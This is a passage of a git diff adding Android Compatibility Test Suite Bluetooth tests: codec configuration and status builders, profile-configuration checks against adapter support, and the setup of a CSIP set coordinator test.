+        mBluetoothClassHeadphones = createBtClass(BluetoothClass.Device.AUDIO_VIDEO_HEADPHONES);
+        mBluetoothClassPhone = createBtClass(BluetoothClass.Device.Major.PHONE);
+        mBluetoothClassService = createBtClass(BluetoothClass.Service.NETWORKING);
+    }
+
+    @SmallTest
+    public void testHasService() {
+        assertTrue(mBluetoothClassService.hasService(BluetoothClass.Service.NETWORKING));
+        assertFalse(mBluetoothClassService.hasService(BluetoothClass.Service.TELEPHONY));
+    }
+
+    @SmallTest
+    public void testGetMajorDeviceClass() {
+        assertEquals(
+                mBluetoothClassHeadphones.getMajorDeviceClass(),
+                BluetoothClass.Device.Major.AUDIO_VIDEO);
+        assertEquals(mBluetoothClassPhone.getMajorDeviceClass(), BluetoothClass.Device.Major.PHONE);
+    }
+
+    @SmallTest
+    public void testGetDeviceClass() {
+        assertEquals(
+                mBluetoothClassHeadphones.getDeviceClass(),
+                BluetoothClass.Device.AUDIO_VIDEO_HEADPHONES);
+        assertEquals(
+                mBluetoothClassPhone.getDeviceClass(),
+                BluetoothClass.Device.PHONE_UNCATEGORIZED);
+    }
+
+    @SmallTest
+    public void testGetClassOfDevice() {
+        assertEquals(mBluetoothClassHeadphones.getDeviceClass(),
+                BluetoothClass.Device.AUDIO_VIDEO_HEADPHONES);
+        assertEquals(mBluetoothClassPhone.getMajorDeviceClass(), BluetoothClass.Device.Major.PHONE);
+    }
+
+    @SmallTest
+    public void testDoesClassMatch() {
+        assertTrue(mBluetoothClassHeadphones.doesClassMatch(BluetoothClass.PROFILE_A2DP));
+        assertFalse(mBluetoothClassHeadphones.doesClassMatch(BluetoothClass.PROFILE_HEADSET));
+
+        assertTrue(mBluetoothClassPhone.doesClassMatch(BluetoothClass.PROFILE_OPP));
+        assertFalse(mBluetoothClassPhone.doesClassMatch(BluetoothClass.PROFILE_HEADSET));
+
+        assertTrue(mBluetoothClassService.doesClassMatch(BluetoothClass.PROFILE_PANU));
+        assertFalse(mBluetoothClassService.doesClassMatch(BluetoothClass.PROFILE_OPP));
+    }
+
+    @SmallTest
+    public void testInnerClasses() {
+        // Just instantiate static inner classes for exposing constants
+        // to make test coverage tool happy.
+        BluetoothClass.Device device = new BluetoothClass.Device();
+        BluetoothClass.Device.Major major = new BluetoothClass.Device.Major();
+        BluetoothClass.Service service = new BluetoothClass.Service();
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCodecsTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCodecsTest.java
new file mode 100644
index 0000000..10c18a2
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCodecsTest.java
@@ -0,0 +1,302 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothCodecConfig;
+import android.bluetooth.BluetoothCodecStatus;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+public class BluetoothCodecsTest extends AndroidTestCase {
+    private static final String TAG = BluetoothCodecsTest.class.getSimpleName();
+
+    // Codec configs: A and B are same; C is different
+    private static final BluetoothCodecConfig config_A =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig config_B =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig config_C =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    // Local capabilities: A and B are same; C is different
+    private static final BluetoothCodecConfig local_capability1_A =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig local_capability1_B =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig local_capability1_C =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig local_capability2_A =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig local_capability2_B =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig local_capability2_C =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100 |
+                                 BluetoothCodecConfig.SAMPLE_RATE_48000,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    // Selectable capabilities: A and B are same; C is different
+    private static final BluetoothCodecConfig selectable_capability1_A =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig selectable_capability1_B =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig selectable_capability1_C =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_SBC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig selectable_capability2_A =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig selectable_capability2_B =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO |
+                                 BluetoothCodecConfig.CHANNEL_MODE_MONO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final BluetoothCodecConfig selectable_capability2_C =
+            buildBluetoothCodecConfig(BluetoothCodecConfig.SOURCE_CODEC_TYPE_AAC,
+                                 BluetoothCodecConfig.CODEC_PRIORITY_DEFAULT,
+                                 BluetoothCodecConfig.SAMPLE_RATE_44100,
+                                 BluetoothCodecConfig.BITS_PER_SAMPLE_16,
+                                 BluetoothCodecConfig.CHANNEL_MODE_STEREO,
+                                 1000, 2000, 3000, 4000);
+
+    private static final List<BluetoothCodecConfig> LOCAL_CAPABILITY_A =
+            new ArrayList() {{
+                    add(local_capability1_A);
+                    add(local_capability2_A);
+            }};
+
+    private static final List<BluetoothCodecConfig> LOCAL_CAPABILITY_B =
+            new ArrayList() {{
+                    add(local_capability1_B);
+                    add(local_capability2_B);
+            }};
+
+    private static final List<BluetoothCodecConfig> LOCAL_CAPABILITY_C =
+            new ArrayList() {{
+                    add(local_capability1_C);
+                    add(local_capability2_C);
+            }};
+
+    private static final List<BluetoothCodecConfig> SELECTABLE_CAPABILITY_A =
+            new ArrayList() {{
+                    add(selectable_capability1_A);
+                    add(selectable_capability2_A);
+            }};
+
+    private static final List<BluetoothCodecConfig> SELECTABLE_CAPABILITY_B =
+            new ArrayList() {{
+                    add(selectable_capability1_B);
+                    add(selectable_capability2_B);
+            }};
+
+    private static final List<BluetoothCodecConfig> SELECTABLE_CAPABILITY_C =
+            new ArrayList() {{
+                    add(selectable_capability1_C);
+                    add(selectable_capability2_C);
+            }};
+
+    private static final BluetoothCodecStatus bcs_A =
+            new BluetoothCodecStatus.Builder()
+                    .setCodecConfig(config_A)
+                    .setCodecsLocalCapabilities(LOCAL_CAPABILITY_A)
+                    .setCodecsSelectableCapabilities(SELECTABLE_CAPABILITY_A)
+                    .build();
+    private static final BluetoothCodecStatus bcs_B =
+            new BluetoothCodecStatus.Builder()
+                    .setCodecConfig(config_B)
+                    .setCodecsLocalCapabilities(LOCAL_CAPABILITY_B)
+                    .setCodecsSelectableCapabilities(SELECTABLE_CAPABILITY_B)
+                    .build();
+    private static final BluetoothCodecStatus bcs_C =
+            new BluetoothCodecStatus.Builder()
+                    .setCodecConfig(config_C)
+                    .setCodecsLocalCapabilities(LOCAL_CAPABILITY_C)
+                    .setCodecsSelectableCapabilities(SELECTABLE_CAPABILITY_C)
+                    .build();
+
+    public void test_BluetoothCodecStatusBuilder() {
+        BluetoothCodecStatus builderConfig = new BluetoothCodecStatus.Builder()
+                .setCodecConfig(config_A)
+                .setCodecsLocalCapabilities(LOCAL_CAPABILITY_B)
+                .setCodecsSelectableCapabilities(SELECTABLE_CAPABILITY_C)
+                .build();
+
+        assertTrue(Objects.equals(builderConfig.getCodecConfig(), config_A));
+        assertTrue(Objects.equals(builderConfig.getCodecsLocalCapabilities(),
+                LOCAL_CAPABILITY_B));
+        assertTrue(Objects.equals(builderConfig.getCodecsSelectableCapabilities(),
+                SELECTABLE_CAPABILITY_C));
+    }
+
+    public void test_BluetoothCodecConfigBuilder() {
+        BluetoothCodecConfig builderConfig = new BluetoothCodecConfig.Builder()
+                .setCodecType(config_A.getCodecType())
+                .setCodecPriority(config_A.getCodecPriority())
+                .setSampleRate(config_A.getSampleRate())
+                .setBitsPerSample(config_A.getBitsPerSample())
+                .setChannelMode(config_A.getChannelMode())
+                .setCodecSpecific1(config_A.getCodecSpecific1())
+                .setCodecSpecific2(config_A.getCodecSpecific2())
+                .setCodecSpecific3(config_A.getCodecSpecific3())
+                .setCodecSpecific4(config_A.getCodecSpecific4())
+                .build();
+
+        assertTrue(Objects.equals(builderConfig, config_A));
+        assertTrue(builderConfig.isMandatoryCodec());
+    }
+
+    public void test_GetCodecConfig() {
+        assertTrue(Objects.equals(bcs_A.getCodecConfig(), config_A));
+        assertTrue(Objects.equals(bcs_A.getCodecConfig(), config_B));
+        assertFalse(Objects.equals(bcs_A.getCodecConfig(), config_C));
+    }
+
+    public void test_CodecsCapabilities() {
+        assertTrue(bcs_A.getCodecsLocalCapabilities().equals(LOCAL_CAPABILITY_A));
+        assertTrue(bcs_A.getCodecsLocalCapabilities().equals(LOCAL_CAPABILITY_B));
+        assertFalse(bcs_A.getCodecsLocalCapabilities().equals(LOCAL_CAPABILITY_C));
+
+        assertTrue(bcs_A.getCodecsSelectableCapabilities()
+                                 .equals(SELECTABLE_CAPABILITY_A));
+        assertTrue(bcs_A.getCodecsSelectableCapabilities()
+                                  .equals(SELECTABLE_CAPABILITY_B));
+        assertFalse(bcs_A.getCodecsSelectableCapabilities()
+                                  .equals(SELECTABLE_CAPABILITY_C));
+    }
+
+    public void test_IsCodecConfigSelectable() {
+        assertFalse(bcs_A.isCodecConfigSelectable(null));
+        assertTrue(bcs_A.isCodecConfigSelectable(selectable_capability1_C));
+        assertTrue(bcs_A.isCodecConfigSelectable(selectable_capability2_C));
+
+        // Not selectable due to multiple channel modes
+        assertFalse(bcs_A.isCodecConfigSelectable(selectable_capability1_A));
+        assertFalse(bcs_A.isCodecConfigSelectable(selectable_capability1_B));
+        assertFalse(bcs_A.isCodecConfigSelectable(selectable_capability2_A));
+        assertFalse(bcs_A.isCodecConfigSelectable(selectable_capability2_B));
+    }
+
+    private static BluetoothCodecConfig buildBluetoothCodecConfig(int sourceCodecType,
+            int codecPriority, int sampleRate, int bitsPerSample, int channelMode,
+            long codecSpecific1, long codecSpecific2, long codecSpecific3, long codecSpecific4) {
+        return new BluetoothCodecConfig.Builder()
+                    .setCodecType(sourceCodecType)
+                    .setCodecPriority(codecPriority)
+                    .setSampleRate(sampleRate)
+                    .setBitsPerSample(bitsPerSample)
+                    .setChannelMode(channelMode)
+                    .setCodecSpecific1(codecSpecific1)
+                    .setCodecSpecific2(codecSpecific2)
+                    .setCodecSpecific3(codecSpecific3)
+                    .setCodecSpecific4(codecSpecific4)
+                    .build();
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
new file mode 100644
index 0000000..f6336bf
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothConfigTest.java
@@ -0,0 +1,185 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.sysprop.BluetoothProperties;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.invoke.MethodHandles;
+import java.util.List;
+
+public class BluetoothConfigTest extends AndroidTestCase {
+    private static final String TAG = MethodHandles.lookup().lookupClass().getSimpleName();
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!mHasBluetooth) return;
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    private int checkIsProfileEnabledInList(int profile, List<Integer> supportedProfiles) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = supportedProfiles.contains(profile);
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + isEnabled
+                + ". Is profile in the list: " + isSupported);
+        return 1;
+    }
+
+    public void testProfileEnabledValueInList() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        final List<Integer> pList = mAdapter.getSupportedProfiles();
+        int wrong_config_in_list = checkIsProfileEnabledInList(BluetoothProfile.A2DP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.A2DP_SINK, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.AVRCP_CONTROLLER, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.CSIP_SET_COORDINATOR, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.GATT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEADSET_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HEARING_AID, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_DEVICE, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.HID_HOST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.MAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.OPP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PAN, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.PBAP_CLIENT, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.SAP, pList)
+            + checkIsProfileEnabledInList(BluetoothProfile.VOLUME_CONTROL, pList);
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config_in_list);
+    }
+
+    private int checkIsProfileEnabled(int profile, int adapterSupport) {
+        final boolean isEnabled = TestUtils.isProfileEnabled(profile);
+        final boolean isSupported = BluetoothStatusCodes.FEATURE_SUPPORTED == adapterSupport;
+
+        if (isEnabled == isSupported) {
+            return 0;
+        }
+        Log.e(TAG, "Profile config does not match for profile: "
+                + BluetoothProfile.getProfileName(profile)
+                + ". Config currently return: " + TestUtils.isProfileEnabled(profile)
+                + ". Adapter support return: " + adapterSupport);
+        return 1;
+    }
+
+    public void testProfileEnabledValue() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        int wrong_config =
+            checkIsProfileEnabled(BluetoothProfile.LE_AUDIO,
+                    mAdapter.isLeAudioSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST,
+                    mAdapter.isLeAudioBroadcastSourceSupported())
+            + checkIsProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST_ASSISTANT,
+                    mAdapter.isLeAudioBroadcastAssistantSupported());
+
+        assertEquals("Config does not match adapter hardware support. CHECK THE PREVIOUS LOGS.",
+                0, wrong_config);
+    }
+
+    public void testBleCDDRequirement() {
+        if (!mHasBluetooth) {
+            return;
+        }
+
+        // If device implementations return true for isLeAudioSupported():
+        // [C-7-5] MUST enable simultaneously:
+        //      BAP unicast client,
+        //      CSIP set coordinator,
+        //      MCP server,
+        //      VCP controller,
+        //      CCP server,
+        if (mAdapter.isLeAudioSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP unicast config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileBapUnicastClientEnabled().orElse(false));
+            assertTrue("CSIP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCsipSetCoordinatorEnabled().orElse(false));
+            assertTrue("MCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileMcpServerEnabled().orElse(false));
+            assertTrue("VCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileVcpControllerEnabled().orElse(false));
+            assertTrue("CCP config must be true when LeAudio is supported. [C-7-5]",
+                    BluetoothProperties.isProfileCcpServerEnabled().orElse(false));
+        }
+
+        // If device implementations return true for isLeAudioBroadcastSourceSupported():
+        // [C-8-2] MUST enable simultaneously:
+        //      BAP broadcast source,
+        //      BAP broadcast assistant
+        if (mAdapter.isLeAudioBroadcastSourceSupported()
+                == BluetoothStatusCodes.FEATURE_SUPPORTED) {
+            assertTrue("BAP broadcast source config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastSourceEnabled().orElse(false));
+            assertTrue("BAP broadcast assistant config must be true when adapter support "
+                    + "BroadcastSource. [C-8-2]",
+                    BluetoothProperties.isProfileBapBroadcastAssistEnabled().orElse(false));
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
new file mode 100644
index 0000000..af9cd9a
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothCsipSetCoordinatorTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+
+import static org.junit.Assert.assertThrows;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothCsipSetCoordinator;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.bluetooth.BluetoothUuid;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.os.ParcelUuid;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.util.List;
+import java.util.Map;
+import java.util.UUID;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothCsipSetCoordinatorTest extends AndroidTestCase {
+    private static final String TAG = BluetoothCsipSetCoordinatorTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+
+    private BluetoothCsipSetCoordinator mBluetoothCsipSetCoordinator;
+    private boolean mIsCsipSetCoordinatorSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+    private boolean mGroupLockCallbackCalled;
+    private TestCallback mTestCallback;
+    private Executor mTestExecutor;
+    private BluetoothDevice mTestDevice;
+    private boolean mIsLocked;
+    private int mTestOperationStatus;
+    private int mTestGroupId;
+
+    class TestCallback implements BluetoothCsipSetCoordinator.ClientLockCallback {
+        @Override
+        public void onGroupLockSet(int groupId, int opStatus, boolean isLocked) {
+            mGroupLockCallbackCalled = true;
+            assertTrue(groupId == mTestGroupId);
+            assertTrue(opStatus == mTestOperationStatus);
+            assertTrue(isLocked == mIsLocked);
+        }
+    };
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
+                    PackageManager.FEATURE_BLUETOOTH);
+
+            if (!mHasBluetooth) return;
+
+            TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+
+            BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+            mAdapter = manager.getAdapter();
+            assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+            mProfileConnectedlock = new ReentrantLock();
+            mConditionProfileIsConnected  = mProfileConnectedlock.newCondition();
+            mIsProfileReady = false;
+            mBluetoothCsipSetCoordinator = null;
+
+            boolean isLeAudioSupportedInConfig =
+                     TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO);
+            boolean isCsipConfigEnabled =
+                     TestUtils.isProfileEnabled(BluetoothProfile.CSIP_SET_COORDINATOR);
+            if (isLeAudioSupportedInConfig) {
+                assertEquals(BluetoothStatusCodes.FEATURE_SUPPORTED, mAdapter.isLeAudioSupported());
+                /* If Le Audio is supported then CSIP shall be supported */
+                assertTrue("Config must be true when profile is supported", isCsipConfigEnabled);
+            }
+
+            if (isCsipConfigEnabled) {
+                mIsCsipSetCoordinatorSupported = mAdapter.getProfileProxy(getContext(),
+                        new BluetoothCsipServiceListener(),
+                        BluetoothProfile.CSIP_SET_COORDINATOR);
+                assertTrue("Service shall be supported ", mIsCsipSetCoordinatorSupported);
+
+                mTestCallback = new TestCallback();
+                mTestExecutor = mContext.getMainExecutor();
+            }
+        }
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (mHasBluetooth) {
+            if (mBluetoothCsipSetCoordinator != null) {
+                mBluetoothCsipSetCoordinator.close();
+                mBluetoothCsipSetCoordinator = null;
+                mIsProfileReady = false;
+                mTestDevice = null;
+                mIsLocked = false;
+                mTestOperationStatus = 0;
+                mTestCallback = null;
+                mTestExecutor = null;
+            }
+            if (mAdapter != null ) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+                mAdapter = null;
+            }
